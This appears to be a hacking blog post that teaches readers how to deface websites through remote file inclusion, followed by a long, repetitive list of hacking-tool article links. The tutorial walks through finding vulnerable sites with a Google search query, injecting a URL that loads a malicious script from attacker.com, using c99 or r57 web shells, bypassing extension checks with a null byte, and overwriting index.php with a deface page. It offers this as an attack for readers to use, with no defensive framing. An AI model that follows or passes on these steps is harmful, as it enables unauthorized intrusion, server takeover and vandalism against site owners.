HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

More articles

1. Hacking Tools Mac
2. Hacker Tools Apk
3. Game Hacking
4. Pentest Automation Tools
5. Hacker
6. New Hacker Tools
7. Hacking Tools Mac
8. Hacker
9. Hacker Tools Mac
10. Easy Hack Tools
11. Ethical Hacker Tools
12. Pentest Tools List
13. Pentest Tools Github
14. Hackers Toolbox
15. Best Hacking Tools 2020
16. Hack Tools Download
17. Hacker
18. Ethical Hacker Tools
19. Hacker Tools Hardware
20. Pentest Tools Free
21. Hacker Techniques Tools And Incident Handling
22. Hack Tools For Pc
23. Hacker Tools Windows
24. Hacker Tools Apk
25. Hacker Tool Kit
26. Hacking Tools Windows 10
27. Beginner Hacker Tools
28. Pentest Tools Review
29. Pentest Box Tools Download
30. World No 1 Hacker Software
31. What Is Hacking Tools
32. Pentest Tools For Windows
33. Hackrf Tools
34. Hacking Tools 2020
35. Hacker Security Tools
36. Pentest Tools Url Fuzzer
37. Best Hacking Tools 2019
38. Pentest Tools Port Scanner
39. New Hacker Tools
40. Hacker Tools Apk Download
41. Hacking Tools For Pc
42. Top Pentest Tools
43. Free Pentest Tools For Windows
44. Hacking Tools For Windows 7
45. Github Hacking Tools
46. Pentest Tools Bluekeep
47. Pentest Tools Linux
48. Pentest Tools Review
49. Hacking Tools For Games
50. Hacker Tools Windows
51. Hacking App
52. Hacking Tools Windows 10
53. Pentest Box Tools Download
54. Best Pentesting Tools 2018
55. Hacking Tools For Pc
56. Pentest Tools Review
57. What Are Hacking Tools
58. Hacking Tools Usb
59. Hacker Tools For Ios
60. Hack Rom Tools
61. Android Hack Tools Github
62. Pentest Tools List
63. Hacker Tools For Mac
64. Hacking Tools For Games
65. Wifi Hacker Tools For Windows
66. Hacker Tools Software
67. Hacking Tools Mac
68. Pentest Tools Apk
69. Hacker Tools For Mac
70. Best Pentesting Tools 2018
71. Pentest Tools Nmap
72. Hacking Tools For Windows 7
73. Pentest Tools Download
74. Hacker Tools Apk Download
75. Termux Hacking Tools 2019
76. Pentest Tools For Ubuntu
77. Hacker Tools For Windows
78. Hacking Tools For Windows Free Download
79. Pentest Tools Tcp Port Scanner
80. Hacking Tools Mac
81. Pentest Tools Subdomain
82. Game Hacking
83. Pentest Tools For Ubuntu
84. Hacking Tools Windows
85. Hacker Hardware Tools
86. Hack Tools For Mac
87. Hacker Tools
88. Hacker Tools 2020
89. Hacker Tools Free
90. Hacking Tools For Mac
91. Hacking Tools For Beginners
92. Pentest Tools Bluekeep
93. Hacker Tools Apk Download
94. Hack Tools For Pc
95. Black Hat Hacker Tools
96. Hack Website Online Tool
97. Free Pentest Tools For Windows
98. Hacking App